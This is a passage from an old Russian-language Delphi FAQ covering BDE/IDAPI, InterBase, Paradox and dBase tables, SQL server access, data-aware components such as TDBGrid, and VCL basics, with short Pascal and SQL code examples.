Следует также заметить, что на данный момент Borland International продал ReportSmith другой фирме, так что его присутствие в Delphi 3.0 под вопросом.

Базы данных - Interbase и локальные данные

1. Каково определение IDAPI? Что такое SQL Links?

IDAPI это Integrated Database Application Program Interface. BDE (Borland Database Engine) — средство доступа ко множеству источников данных через один API. IDAPI - это просто API для BDE. IDAPI включает все функции, необходимые для доступа к данным, манипулирования ими и т.д. Delphi, Borland C++, C++Builder, Intrabulder, dBASE for Windows, и Paradox for Windows используют эти функции. Вы можете использовать их в своих программах. Вы получите документацию, если купите BDE. Там перечислены все доступные функции и что они делают. Если посмотреть на исходники VCL в Delphi, то можно увидеть, как они используются. Они начинаются с "Dbi" (e.g. DbiCreateTable).

SQL Links — набор родных драйверов (native drivers), которые нужны для работы с удаленными серверами баз данных.

2. Hеобходим ли IDAPI для доступа к данным в Delphi? Можно ли включить IDAPI внутрь EXE, чтобы распространять программу без установки IDAPI на пользовательском компьютере?

IDAPI необходим для доступа к данным в Delphi. Сам IDAPI во внутрь исполняемого файла ни коим образом не встраивается (да это было бы и не целесообразно). Вместе с Delphi поставляется редистрибутивный вариант BDE, которая устанавливает на "чистую" машину лишь только BDE. может создавать инсталляторы, которые устанавливают на машину как ваше приложение, так и BDE.

InstallShield Express for Delphi

Delphi 3.0 включает средства для создания "тонких" клиентов, работающих на машине, на которой не установлен BDE. Подробности смотрите в FAQ по Delphi 3.0.

3. Где можно найти описание функций и типов данных BDE?

DBIPROCS.INT в директории DELPHI\DOC\ содержит список функций BDE, передаваемые параметры, возвращаемое значение и краткое описание каждой. DBITYPES.INT — список типов, используемых функциями BDE. Для вызова любой функции BDE добавьте следующие модули в раздел uses: DBITYPES, DBIPROCS и DBIERRS.

Delphi 2.0 включает в себе описание функций BDE в формате WinHelp. Также все три модуля из Delphi 1.0 (DBITYPES.DCU, DBIPROCS.DCU и DBIERRS.DCU) теперь объединены в единый BDE.DCU.

4. Можно ли программным образом добавить псевдоним (alias) в IDAPI.CFG?

В BDE есть для этого функция DbiAddAlias.

В Delphi 2.0 данная функциональность находится внутри компонента TSession (методы AddAlias, AddStandardAlias).

5. Я получаю сообщение от BDE при редактировании записи 'Multiple records found but only one expected'. Что бы это значило?

Вам может потребоваться создать уникальный индекс в таблице для того, чтобы каждую строку в таблице можно было однозначно идентифицировать. Например, попытайтесь изменить структуру таблицы и добавить поле для заполнения его уникальными значениями.

6. Обработка исключений (exceptions) BDE.

Информация об ошибке BDE может быть получена для использования в приложении из объекта EDBEngineError. Исключительная ситуация EDBEngineError обрабатывается в программе с помощью конструкции try ... except. Когда возникает исключительная ситуация BDE, то может быть создан объект EDBEngineError и различные поля этого объекта могут быть использованы для программного определения, что не в порядке и что требуется для исправления ситуации. Далее, для данной исключительной ситуации может быть сгенерировано несколько сообщений об ошибках. Это требует организации перебора сообщений об ошибках для получения нужной информации.

7. Какому стандарту SQL соответствует SQL в InterBase?

SQL в Local & Remote InterBase соответствует SQL-92 с элементам SQL III (более поздними расширениями).

8. Как удалить генераторы (GENERATORS) из базы данных InterBase?

Никак. К сожалению, в существующих версиях InterBase это невозможно.

9. Как выбрать протокол при соединении с InterBase из Delphi?

В Server Manager (ibmgr.exe), Windows interactive SQL (wisql.exe) и Communication Diagnostic Tool (comdiag.exe) Вы отдельно задаете имя сервера, протокол и 'путь на базу' (локальный путь на сервере, а не путь до базы с Вашей машины)

А в BDE Configuration Utility все немного не так — на странице Drivers у драйвера Interbase есть параметр SERVER NAME, заполненный как IB_SERVER:/PATH/DATABASE.GDB, а у любого InterBase Alias есть параметры SERVER NAME и PATH, но ни у драйвера ни у алиаса нет протокола. Для Interbase протокол указывается стилем написания пути к базе:  

Протокол  SERVER NAME  Пример TCP/IP  IB_SERVER:PATH\DATABASE.GDB  nt:c:\ib\base.gdb; unix:/ib/base.gdb IPX/SPX  IB_SERVER@PATH\DATABASE.GDB  nw@sys:ib\base.gdb  NETBEUI \\IB_SERVER\PATH\DATABASE.GDB \\nt\c:\ib\base.gdb 

10. Можно ли использовать какие-нибудь ODBC драйверы, которые получены с другими СУБД?

В общем, да. Мы не столкнулись с какими-то ODBC драйверами, которые не работают с Delphi, но, с другой стороны, мы не пробовали действительно экзотические драйверы. Основные трудности вызвали специфические ODBC-драйверы от Microsoft. Похоже, что ODBC и ODBC от Microsoft - это разные вещи.

11. Проблемы с именами таблиц в ODBC-драйверах.

При использовании ODBC-драйверов, если у вас появляются ошибки при открытии таблицы - установите порядок сортировки (SORT ORDER) хотя-бы Paradox ASCIIi. Это, например, помогает при доступе к базам данных Lotus Notes (ODBC-драйвер фирмы Casahl).

12. Какой формат данных предпочесть в Delphi? dBase или Paradox?

Если вам действительно все равно, то вот несколько пунктов 'за' формат Paradox:

1. Широкий выбор типов полей, включая автоинкремент, BLOBs, и т.п.

2. Соблюдение целостности данных, контроля данных, обновления индексов на уровне ядра BDE.

3. Первичный индекс таблицы автоматически соблюдает уникальность записей, вторичные индексы обеспечивают отсортированный "вид" на записи таблицы.

13. Как нужно писать функцию "change password"  для таблицы Парадокса? 

Нет способа сделать это в пределах Delphi VCL. Кажется, это довольно серьезное упущение. Однако, есть возможность сделать это напрямую через Borland Database Engine через интерфейс предоставляемый модулями DBIPROCS.DCU и DBITYPES.DCU () или BDE.DCU (). Нужно использовать функцию DbiDoRestructure.

14. Есть ли какая-нибудь процедура для перестройки разрушенного индекса, типа TUTILITY.EXE из PdoxWin?

BDE включает функцию для этого — DbiRegenIndexes.

15. Есть ли какая-нибудь процедура для упаковки таблицы dBase?

В BDE есть функция DbiPackTable.

16. Как для .dbf таблицы создать индекс по выражению?

Нужно использовать процедуру AddIndex с параметром ixExpression, например:

Table1.AddIndex('NewIndex','Field1 * Field2 + Field3', [ixExpression]);

17. Как создать в Paradox вторичный индекс с упорядочиванием по убыванию?

Используйте флаг ixDescending:

Table1.AddIndex('NewIndex', 'CustNo;CustName', [ixDescending]);

18. Хочу узнать номер текущей записи, как это сделать?

В общем случае — никак. В случае таблицы Paradox — есть в BDE функция DbiGetSeqNo, которая возвращает логический номер записи. Но при использовании на форме TDBGrid она может давать не всегда правильные значения.

19. Как посмотреть удаленные записи в таблице .dbf? А как их восстановить?

Для того, чтобы удаленные записи были доступны, нужно установить соответствующее свойство для курсора с помощью функции BDE DbiSetProp:

DbiSetProp(hObj(Table1.Handle), curSoftDeleteOn, 1);

Проверка удалена запись или нет производится через функцию чтения записи DbiGetRecord. Для восстановления записи применяется функция DbiUndeleteRecord.

20. Упаковка таблицы.

Упаковать таблицу DBF можно открыв ее компонентом TTable и вызвав функцию BDE DbiPackTable:

Result := DbiPackTable(Table1.DbHandle, Table1.Handle, nil, szDBase, True);

21. Почему я получаю ошибку 'Index out of range' когда использую TTable.FindNearest и TTable.FindKey для таблицы dBase с индексом по выражению?

Методы TTable.FindKey и TTable.FindNearest не могут работать с таким видом индексов. Вместо этих методов используйте TTable.GotoKey и TTable.GotoNearest, которые прекрасно работают с ними.

22. Как программным образом создать таблицу Paradox с автоинкрементным полем?

Вам следует использовать компонент TQuery и SQL-предложение типа:

CREATE TABLE "PDoxTbl.db" (ID AUTOINC, Name CHAR(255), PRIMARY KEY(ID));

23. Почему я не могу использовать опцию ixUnique при создании индекса в таблице Paradox с помощью метода AddIndex компонента TTable?

Опции, используемые в методе AddIndex компонента TTable зависят от типа таблиц. Например, опция ixUnique работает с таблицей dBase, но не с Paradox. Следующая таблица показывает, как эти опции используются для таблиц dBase и Paradox.  

Index Options  dBase  Paradox ixUnique  * ixExpression  * ixDescending  *  * ixNonMaintained  *  * ixPrimary  * ixCaseInsensitive  * 

24. Генерация уникальных идентификаторов для таблиц.

Для более полного ознакомления с этим вопросом рекомендуется обратится к статье Максима Михеенкова в 1-ом номере российского журнала СУБД за 1995 год. А коротко можно сказать следующее.

Для таблиц Paradox вы можете пользоваться специальными типами полей, гарантирующими уникальность значения поля в записи — типы AutoIncrement и TimeStamp (с использованием функций DateXXX — модуль SysUtils).

Для Interbase вы можете использовать генераторы, которые возвращают уникальное значение.

Если же такое решение вам не подходит, то можно перед помещением записи в таблицу отыскивать максимальное уже имеющееся в таблице значение этого поля и заполнять поле в записи значением, на единицу больше. Для разграничения пользователей при одновременном доступе можно хранить это значение в отдельной таблице и открывать ее эксклюзивном режиме.

25. Можно ли использовать Crystal Report с таблицами формата Paradox 5.0?

Да, можно, только если вам удастся получить ODBC-драйвер для таблиц Paradox. Во всяком случае на Crystal BBS находится файл bde.zip, который и содержит этот драйвер.

26. Как открыть таблицу dBase, у которой поврежден (утерян) индексный MDX файл?

Как я могу использовать таблицу dBase без необходимого для нее MDX файла?

При создании таблицы dBASE с индексным файлом MDX в заголовке DBF файла устанавливается байт со смещением 28 (десятичное) от начала файла. При открытии таблицы, у которой данный байт установлен, также происходит попытка открыть MDX файл; если это не удается, то возникает исключение (exception). Для решения проблемы достаточно прописать в DBF файл 0 по указанному смещению.

27. Как определить номер текущей записи для набора данных?

Если набор данных основан на таблицах Paradox или dBASE, то номер записи можно определить с помощью вызовов BDE. BDE не поддерживает номер записи для наборов данных на SQL сервере; если ваш сервер поддерживает нумерацию записей, вам нужно обратиться к его документации.

Базы данных — прочие SQL сервера

1. Как осуществляется доступ к базе данных из Delphi?

Сначала вы должны в утилите BDE Configuration Utility (bdecfg или bdecfg32) определить псевдоним для базы данных, с которой вы хотите работать. Это позволит вам избежать написания сложного пути к базе данных в вашем приложении; вы теперь только ссылаетесь на псевдоним. Затем вы создаете минимум три объекта на форме: TTable или TQuery, который фактически общается с базой данных через псевдоним и получает данные; объект TDataSource, который связывает данные и визуальные компоненты; по крайней мере один компонент, отображающий данные.

Если вы потратили несколько часов, чтобы заставить все это работать, но ничего не получилось, попробуйте установить свойство Active у TTable или TQuery в True. Это откроет таблицу в базе данных. 

2. Какие серверы данных поддерживает Delphi?

Delphi (в старших вариантах поставки) напрямую работает с Oracle, Informix, InterBase, DB/2, Sybase, MS SQL Server. Вы можете использовать ODBC драйверы третьих фирм, чтобы работать с любым сервером. Наиболее известные производители качественных ODBC драйверов:

• InterSolv ()

• Visigenic Software ()

Есть специализированный вариант Delphi 2.0 — Delphi/400, который ориентирован исключительно на работу с AS/400.

3. Cуществует ли способ работать из Delphi с AS/400, исключая ODBC?

В состав Delphi 1.0 не входит, но доступен отдельно визуальный 16-разрядный компонент компании Gerald Limited.

Есть специализированный вариант Delphi 2.0 - Delphi/400, который ориентирован исключительно на работу с AS/400.

4. Cуществует ли способ работать из Delphi с Lotus Notes (IBM Notes), за исключением ODBC?

Существует только 16-разрядный линк для Notes. В состав Delphi он не входит (разработан компанией Brainstorm) и поставляется отдельно по каналам Borland. Спрашивайте дилеров Borland.

5. Можно ли создавать с помощью Delphi сетевые приложения не для схемы клиент-сервер, а для схемы с разделяемыми файлами (как, например, в FoxPro)?

Компонент TTable имеет свойство Exclusive; если Exclusive=False, то одну и ту же таблицу могут просматривать и редактировать несколько пользователей. При редактировании таблицы текущая запись автоматически блокируется. Если есть необходимость заблокировать несколько записей или всю таблицу, то для этого придется использовать функции BDE — модуль DBIPROCS (

) или BDE (

). Кстати, существенно, что это можно делать и на Delphi Desktop - отсюда вывод: сетевые приложения (в файл-серверной архитектуре) можно делать и на Delphi Desktop.

6. Можно ли работать при помощи Delphi не с IDAPI — или ODBC-драйверами, а с "родными" API каких-либо СУБД?

Да, можно. Это еще один пример открытости Delphi. В одном из проектов Демо-центра появилась необходимость прямого обращения к API SQL-сервера. Был написан соответствующий интерфейс поверх Borland InterBase API - и все заработало. Аналогично: существуют написанные компоненты для работы с AS/400 и для мэйнфреймов.

7. Какие версии Informix (Online, I-NET) поддерживают SQL Links?

BDE версии до 2.51 поддерживает работу с клиентской частью Informix ESQL/C I*NET 4.x. BDE версии 2.51-2.52 поддерживается ESQL/C I*NET 5.x.

32 SQL Link версии 3.5 и выше поддерживает ESQL/C I*NET 7.x.

8. Как работать с таблицами в виде текстовых файлов (ASCII)?

Информацию об этом вы можете найти в каталоге DELPHI\DOC. Файл называется ASCIIDRV.TXT.

9. Как правильно указать имя сервера Oracle?

Пишите имя по правилам Oracle - перед именем не забудьте поставить @.

10. Что такое транзакции (Transactions)?

SQL database серверы обрабатывают запросы в 'логических единицах работы' которые и называются транзакциями. То есть транзакция - это группа связанных операций (SQL запросов) которые все должны быть выполнены успешно перед тем, как сервер закончит (commit) изменение базы данных. Либо вся это группа будет выполнена, либо нет. Транзакции обеспечивают целостность базы данных ...

11. Как в Delphi управлять транзакциями?

В Delphi может управлять транзакции так:

1. Implicitly — сам стартует и коммитит транзакции по необходимости, когда программа вызывает метод Post.

2. Explicitly —

 1. StartTransaction, Commit & RollBack методы TDatabase.

 2. При помощи SQL запросов через TQuery — это зависит от конкретного SQL сервера.

Неявные (1) транзакции выполняют TTable & TQuery.

Для явных (2.1) транзакций требуется TDatabase.

Для явных (2.2) транзакций требуется TQuery.

Важно:

При определении параметров драйвера SQLPASSTHRU MODE - определяет будут ли passthrough SQL (PSQL) & стандартные вызовы BDE (BDEC) использовать один и тот же connect к SQL серверу.

Возможные варианты:

1. NOT SHARED — PSQL & BDEC используют разные соединения с базой и следовательно влияют (интерферируют) друг на друга также как разные пользователи одной базы (см. Transaction isolation levels)

2. SHARED:

 1. SHARED AUTOCOMMIT — PSQL & BDEC используют одно соединение с базой, каждый PSQL запрос автоматически коммитятся.

 2. SHARED NOAUTOCOMMIT — PSQL & BDEC используют одно соединение с базой, PSQL запросы коммитятся 'вручную' (способом 2.1).

Еще важнее:

Если Вы все-таки решили управлять транзакциями при помощи SQL запросов через TQuery, то SQLPASSTHRU MODE должно быть NOT SHARED, иначе Implicit & Explicit транзакции могут влиять друг на друга и привести к 'неожиданным результатам'!

12. Использование формата Access 2.0 в Delphi.

Подробное описание подключения:

• Откройте Windows Control Panel, откройте икону ODBC.

• Добавьте драйвер Access в список доступных, если он не указан в списке текущих драйверов.

• Укажите какое-либо имя в "Data Source Name".

• Выберите файл БД кнопкой Select Database.

• Если вы хотите создать новый — выполните пункт Create Database  

• Запустите Database Engine Configuration

• Нажмите кнопку New ODBC Driver

• Выберите драйвер типа ACCESS DATA

• В качестве Default Data Source Name выберите предложенное.

• Создайте новый псевдоним в разделе Alias

• Укажите тип драйвера, путь и имя к нужному файлу БД Access.

• Сохраните изменения и закройте Database Engine Configuration

Примечание: избегайте русских названий имен таблиц, использования пробела в именах таблиц, а также русских имен полей в DB Access. 

13. Можно ли при помощи Delphi реализовывать проекты, не имеющие отношения к базам данных? Если да, то имеет ли это смысл?

В таком случае стоит воспользоваться вариантом Delphi Desktop или Developer. Выигрыш по скорости разработки очевидно будет значительным; в частности, разработка интерфейса программы под Windows производится действительно скоростными методами. Хороший пример — Screen Saver для Windows.

Общие вопросы по Delphi и данному FAQ (часть 2)

Базы данных — компоненты и VCL.

1. Какие визуальные компоненты для работы с данными входят в  Delphi?

Различные версии Delphi содержат следующие наборы компонентов:

Компоненты Краткое описание Версии Delphi TDBGrid  Представление данных в виде таблицы (очень сложный и наиболее популярный компонент) 1 2 3 TDBEdit  Редактирования одного поля 1 2 3 TDBNavigator  Как видно из названия, компонент позволяет перемещаться по таблице 1 2 3 TDBLabel  Статическое отображение содержимого поля 1 2 3 TDBMemo Редактирования текста в поле типа BLOB 1 2 3 TDBImage Отображение картинок из BLOB-а 1 2 3 TDBRadioGroup, TDBCheckBox Дополнительные средства отображения данных 1 2 3 TDBComboBox, TDBListBox Упрощают ввод данных, предлагая несколько заранее определенных вариантов 1 2 3 TDBLookupListBox, TDBLookupComboBox То же самое, но возможные варианты выбираются из другой таблички 1 2 3 TDBCtrlGrid Вариант представления записей с произвольным расположением полей 2 3 TDBChart  Компонент для построение графиков и диаграмм на основании данных, хранящихся в таблице 3 TDecisionGrid, TDecisionChart Компоненты для поддержки принятия решений 3

2. Использование псевдонимов в запросе SQL.

Я делаю запрос по двум таблицам разных форматов, находящихся по разным псевдонимам.

SELECT DB1.Column1, DB2.Column2 FROM :Alias1:DB1, :Alias2:DB2

но в результате получаю ошибку 'неизвестный тип поля "Alias1:DB1"'

На самом деле вы получаете ошибку Unknown Keyword, следовательно всего-лишь нужно заключить псевдоним и имя таблицы в двойные кавычки.

SELECT D1.Column1, D2.Column2 FROM ":Alias1:DB1" D1, ":Alias2:DB2" D2

Вообще экспериментировать с SQL-запросами проще следующим образом — создайте запрос QBE, настройте его так, как вам нужно, а затем оттранслируйте его в SQL. В результате вы получите правильный текст нужного вам SQL-запроса. Владельцы Delphi Client/Server могут использовать также и Visual Query Builder. Однако, не все QBE-запросы могут быть оттранслированы в SQL.

3. Ошибка в SQL запросе.

У меня есть TQuery и TDataSource. В свойстве SQL для TQuery я пишу

SELECT * FROM dbo.AnyTable

база данных на MS SQL Server. Когда я устанавливаю Active в True, то получаю ошибку:'Token not found. Token :dbo. line number:1'. Что не так?

Если свойство RequestLive=True, то имя таблицы нужно брать в кавычки:

SELECT * FROM "dbo.table"

Если свойство RequestLive=False, кавычек не требуется:

SELECT * FROM dbo.table

4. Проблемы при работе с MS Access через TQuery.

Я безуспешно пытался использовать данные из Microsoft Access иначе, нежели просто с помощью TTable.  Используя TQuery я могу только читать результат, но не могу редактировать. После "login screen" возникает сообщение типа 'Passthrough SQL connection must be shared'.

Измените в настройке псевдонима (alias) пункт 'SQLPASSTHRU MODE' на 'SHARED AUTOCOMMIT'.

5. Как создать таблицу при помощи SQL (или почему не работает TQuery.Open)?

TQuery.Open возвращает результат в виде курсора, в связи с этим он работает только для тех выражений, которые возвращают курсор. CREATE TABLE возвращает только результат операции - поэтому для выполнения этого выражения необходимо использовать TQuery.ExecSQL. Но и это может не сработать, если конкретный драйвер БД не поддерживает операцию создания таблиц - для получения характеристик драйвера используйте функции BDE (DbiOpenDriverList, DbiGetDriverDesc). 

6. Возврат значения select max() и подобных SQL-выражений.

Я хочу выполнить SQL-выражение и получить результат в свою переменную, что-то типа

SELECT MAV(FieldA) FROM TableB INTO :VariableC;

Вам не нужно использовать оператор INTO для программного доступа к результату — его можно получить используя свойства Fields или FieldByName соответствующего компонента TQuery.

TQuery1.Add(' SELECT MAX(FiledA) FROM TableB ');

TQuery.Open;

...

VariableC := TQuery1.Fields[0];

Или, если результат нужно визуально отобразить, достаточно подключить к используемому TQuery компоненты TDataSource и TDBText.

7. Автоматический подсчет сумм при помощи TQuery.

Меня интересует возможность подсчета суммы по таблицам, которые уже находятся на форме.

Есть очень простой способ — предположим, что у вас есть на форме Query1, DataSource1, DBGrid1. Добавьте на эту же форму компоненты Query2, DataSource2, DBText1. Установите property Query2.DataSource=DataSource1. В Query2.SQL напишите

SELECT SUM(FieldName) FROM TableName

где TableName — имя той же таблицы что и у Query1, а FieldName — имя столбца по которому производится подсуммирование. Далее свяжите между собой Query2, DataSource2 и DBText1.

При изменении Query1 (если конечно Query1.RequestLive=True) Query2 будет автоматически перевыполняться. Это решение хоть и простое, но неэкономичное — особенно при большом количестве записей в исходной таблице. Более того, запрос Query2 должен иметь WHERE идентичный Query1.

Для подсчета сумм правильнее использовать событие TQuery.OnCalcFields. Хорошим примером является X:\DELPHI\DEMOS\DB\MASTAPP\MASTAPP.DPR. 

8. Использование кавычек в параметризированном запросе.

Мой запрос получает параметр. Проблема в том, что строка параметра содержит " (двойную кавычку), которая приводит к Runtime Error.

Вам необходимо использовать динамический SQL-запрос, иначе при указании например

WHERE TABLE.FIELD = 'let"ter'

вы получите ошибку.

9. Как создать отдельный компонент TTable?

Легко и просто — точно также как и обычный компонент. При этом в качестве параметра конструктору можно передавать значение nil.  

var 

  MyTable: TTable; 

begin 

  MyTable := TTable.Create(nil); 

  try 

    MyTable.DatabaseName := 'MyDB'; 

    MyTable.TableName := 'MyTable.db'; 

    Mytable.IndexName := 'MyIndex'; 

    MyTable.Open; 

    { делать то, что надо } 

  finally 

    MyTable.Free; 

  end; 

end;

10. Как узнать, какая ячейка при просмотре TDBGrid текущая?

Здесь процедура для сохранения текущего номера строки и колонки. Следующий код в методе MyDBGridDrawDataCell обновляет переменные Col и Row (которые не должны быть локальными для этого метода) каждый раз, когда таблица перерисовывается. Используя этот код, вы можете считать, что Col и Row указывают на текущую колонку и строку соответственно.  

var 

  Col, Row: Integer; 

procedure TForm1.MyDBGridDrawDataCell(Sender: TObject; const Rect: TRect; 

  Field: TField; State: TGridDrawState); 

var 

  RowHeight: Integer; 

begin 

  if gdFocused in State then 

  begin 

    RowHeight := Rect.Bottom - Rect.Top; 

    Row := (Rect.Top div RowHeight) - 1; 

    Col := Field.Index; 

  end; 

end; 

11. Как выделить цветом текущую строку в TDBGrid?

Для TDBGrid в свойстве Options установите dgRowSelect в True.

12. Как изменить цвет ячейки в TDBGrid?

Введите следующий код в обработчике события OnDrawDataCell:  

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect; 

  Field: TField; State: TGridDrawState); 

begin 

  if gdFocused in State then 

  with (Sender as TDBGrid).Canvas do 

  begin 

    Brush.Color := clRed; 

    FillRect(Rect); 

    TextOut(Rect.Left, Rect.Top, Field.AsString); 

  end; 

end;

Установите свойство DefaultDrawing в True. Здесь перерисовывается только выделенная ячейка. Если установить DefaultDrawing в False, то вы должны самостоятельно перерисовать все ячейки аналогично примеру.

13. Как узнать, что пользователь перешел на другую запись, например, в TDBGrid?

Переход на новую запись — это событие, которое относится не к визуальному компоненту, а к источнику данных. Соответствующее событие называется OnDataChange и имеется у компонента TDataSource.

14. Как устанавливать собственный цвет или шрифт для столбца TDBGrid?

Выключите property DefaultDrawing, и обрабатывайте событие OnDrawDataCell:  

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect; 

  Field: TField; State: TGridDrawState); 

begin 

  if Field.FieldName = 'Name' then DBGrid1.Canvas.Font.Style := [fsBold]; 

  DBGrid1.DefaultDrawDataCell(Rect, Field, State); 

end;    

Это приведет к тому, что содержимое столбца 'Name' будет показываться жирным шрифтом.

В Delphi 2.0 вы можете использовать редактор столбцов для той же самой цели.

15. Почему указатель ползунка в TDBGrid не показывает текущее положение в таблице?

Дело в том, что TDBGrid предполагает многопользовательский доступ к таблице. В этом случае другие пользователи этой же таблицы могут добавлять или удалять записи, в результате информация о количестве записей на текущий момент становится неопределенной.

Конечно, в однопользовательском варианте количество записей всегда известно, но поскольку TDBGrid работает через промежуточный источник данных DataSource, ему неизвестен конкретный способ доступа к данным — навигационный или SQL. Например, для SQL существует только один способ узнать количество записей — выполнить специальный запрос с их подсчетом, а на это может потребоваться значительное время.

По всем этим причинам TDBGrid является универсальным средством для просмотра таблиц, которое работает во всех случаях и с любыми источниками данных.

16. Как установить фокус на определенное поле в TDBGrid?

Используйте код:

DBGrid1.SelectedField := Table1SomeField;

DBGrid1.SetFocus;

17. Как создать обработчик события OnClick для TDBGrid?

Как и всякий TControl (иерархия наследования TControl→TWinControl→TCustomControl→TCustomGrid→TCustomDBGrid→TDBGrid) у TDBGrid есть событие OnClick, но оно protected. Так что можно либо создать новый класс, производный от TDBGrid, в котором объявить это свойство как published, либо использовать другой вариант. Например, вы можете использовать событие OnColEnter.

18. Как создать маску для TDBEdit?

Маска относится к полю в таблице (компонент TField) а не к самому TDBEdit. Дважды щелкните мышкой на TTable и в FieldEditor'е добавьте все нужные вам поля. Когда поле выбрано в списке, его свойства показаны в Object Inspector, включая маску ввода. Связывание TDBEdit и любых других компонентов с этим TTable будет вызывать наложение маски на соответствующее поле.

19. Хотелось бы иметь для OLE объектов, сохраненных в базе данных, компонент вроде TDBImage.

В стандартном наборе такого компонента действительно нет. Возможно, кто-нибудь скоро напишет что-нибудь в этом роде. В принципе, можно обойтись и без данного компонента. Например, есть табличка .db с BLOB полем для OLE объекта. При движении по записям можно OLE сохранять в базе, уничтожать, создавать новый, считывать из базы.

Чтение/запись OLE:

• создать поток, связанный с BLOB полем

• для OLE контейнера выполнить чтение/запись с потоком (SaveToStream и LoadFromStream)

Естественно, OLE объект должен быть Embedded.

20. Что нужно сделать, чтобы при открытии запароленной таблицы не появлялся диалог запроса пароля?

Просто дайте этот пароль объекту Session перед открытием таблицы:

Session.AddPassword('PASSWORD');

После закрытия таблицы, пароль можно удалить RemovePassword('PASSWORD'), можно удалить все пароли: RemoveAllPasswords.

Если ваш компонент доступа к данным (TTable или TQuery) связан с сессий, отличной от той, которая выставляется по умолчанию, то добавлять пароль нужно именно у этого компонента TSession.

21. Как определить реальный размер поля типа BLOB, которое сохранено в таблице?

Ниже приведена функция GetBlobSize, которая возвращает размер данного BLOB или MEMO поля.  

function GetBlobSize(Field: TBlobField): Longint; 

begin 

  with TBlobStream.Create(Field, bmRead) do 

  try 

    Result := Seek(0, 2); 

  finally 

    Free; 

  end; 

end; 

procedure TForm1.Button1Click(Sender: TObject); 

begin 

{ This sets the Edit1 edit box to display the size of } 

{ a memo field named Notes.                           } 

  Edit1.Text := IntToStr(GetBlobSize(Notes)); 

end; 

22. Как осуществить поиск по неиндексированному полю в таблице?

Вы можете добавить следующую функцию в ваш модуль и вызвать, например:

Locate(Table1, Table1LName, 'Beman');

Table1 — компонент TTable, Table1LName — TField, который вы добавили с помощью Fields Editor и 'Beman' - имя, которое вы хотите найти.

23. Как узнать, что изменилась текущая запись?

Событие TDataSource.OnDataChange когда State=dsBrowse.

24. Как считать даты для вычисляемых полей?

При вычислении дат важно удостовериться в том, что все используемые значения подходят по типу. В документации не совсем явно отражен тот факт, что на самом деле тип TDataTime эквивалентен типу Double, который можно использовать далее.

В примере, D1 и D2 (поля в Table1) могут быть типа или Date, или TDateTime, а D3 — поле типа Integer.  

procedure TForm1.Table1CalcFields(DataSet: TDataset); 

var 

  T1, T2: TDateTime; 

begin 

  Table1D1.AsDateTime := Date+2; 

{ or Table1D1.Value := Date+2; } 

  Table1D2.AsDateTime := Date-2; 

  T1 := Table1D1.AsDateTime; 

  T2 := Table1D2.AsDateTime; 

  Table1D3.AsInteger := Trunc(Double(T1) - Double(T2)); 

end; 

Компоненты и VCL

1. Почему возникает ошибка компиляции при обращении к объекту Sender в обработчике события?

Я в обработчике события OnChange для компонента TEdit пытаюсь получить содержимое его текстового буфера. Однако, следующая конструкция вызывает ошибку компиляции 'неизвестный идентификатор':

Caption := Sender.Text;

Если вы рассматривали декларацию, объект Sender имеет тип TObject, который является классом, который наследуется почти всеми остальными объектами. Вы, вероятно, пробуете обращаться к свойству, которое не определено в TObject, вроде Text или Caption. По этой причине, выражение Sender.Text вызовет ошибку, но если (для примера) вы знаете, что Sender имеет тип TEdit, тогда вы можете использовать выражение:

Caption := (Sender as TEdit).Text;

Если вы не уверены, что объект Sender будет всегда иметь данный тип, то рекомендуется предварительно проверить это:

if Sender is TEdit then …

2. Проблемы с полями класса типа TObject, TTable и т.д.

Я объявляю поле класса как TTable, но при обращении к нему происходит ошибка.

Дело в том, что в Delphi все экземпляры объектов, объявленых как class, являются динамическими. Соответственно поле MyTable, объявленное как

type 

   TMyClass = class(TObject) 

   public 

     MyTable: TTable; 

     constructor Create; 

     destructor Destroy; override; 

   end;    

является указателем на класс TTable, и должно быть инициализировано в конструкторе вашего объекта и соответственно разрушено в деструкторе следующим образом:

constructor TMyClass.Create; 

begin 

  MyTable := TTable.Create(nil); 

  MyTable.DatabaseName := 'DBDEMOS'; 

end; 

destructor TMyClass.Destroy; 

begin 

  MyTable.Free; 

end; 

Подробнее см. Changes in Object Pascal Language в документации или on-line help.

3. Как закрыть модальную форму (ShowModal)? И вообще, каков лучший способ закрыть любую форму?

Вообще говоря, нужно вызывать метод Close для формы. Close вызывает событие OnClose (обработчик которого может решить, что форму нельзя закрывать, например, если имеются несохраненные данные). Close не освобождает память, связанную с формой, если вы, конечно, не поместите в обработчик события вызов метода Release.

Если вы хотите уничтожить форму без вызова события OnClose, используйте метод Release. Этот метод работает подобно Free, но позволяет всем обработчикам событий данной формы закончить работу перед тем, как память будет освобождена.

Модальные формы "прекращают свой модальный статус", когда вы устанавливаете свойство ModalResult формы в любое значение, отличное от нуля. Если вы поместите кнопку на модальную форму и установите свойство ModalResult для кнопки в некоторое значение, то, когда пользователь нажмет на эту кнопку, форма закроется с результатом, который вы определили. Этот результат можно узнать вызывая ShowModal как функцию. То есть:

Result := Form.ShowModal;

4. Перемещение существующих компонентов на TPanel, TGroup и т.п.

Я поместил кнопку (или что-то другое) на форму, затем поместил панель, и решил переместить кнопку на панель, но ничего не получилось.

Действительно, чтобы поместить кнопку на панель, необходимо на форму сначала поместить панель, выбрать ее, а затем уже помещать кнопку.

Но и в вашей ситуации есть решение. Скопируйте (Copy) или вырежьте (Cut) нужный компонент, выберите панель, и сделайте вставку (Paste). Рекомендуется предварительно "подогнать" копируемый компонент в левый верхний угол формы, иначе компонент на панели может выпасть из "пределов видимости" панели (или любого другого группового компонента).

Если компонент все-таки "выпал" из пределов видимости - найдите этот компонент в Инспекторе Объектов, и установите нужные значения его свойств Left и Top.

Используя группы компонент можно огранизовать форму-шаблон, на которой можно складывать (например в Notebook) компоненты с предварительно заданными свойствами, отличными от стандартных. Это решение проще чем добавлять такие компоненты в палитру компонент — не увеличивается размер библиотеки компонентов DCL (Delphi 3.0 не считается), не загромождается палитра компонент.

Учтите, что при таком копировании компонент их имена меняются на новые (Button1, Button2 и т.д.).

5. Как можно добавить новый компонент на страницу TTabbedNoteBook во время выполнения программы? Как нужно определить свойство Parent для этого компонента?

Для того, чтобы добавить компонент на страницу TabbedNotebook, свойству Parent нового компонента нужно присвоить указатель на требуемую страницу. Способ для доступа к любой странице TTabbedNotebook во время выполнения — массив свойств Objects у свойства Pages компонента TTabbedNotebook. Другими словами, страницы сохранены в виде объектов в свойстве Pages (тип TStringList). Пример демонстрирует создание кнопки TButton на второй странице TabbedNotebook1:  

var 

  NewButton: TButton; 

begin 

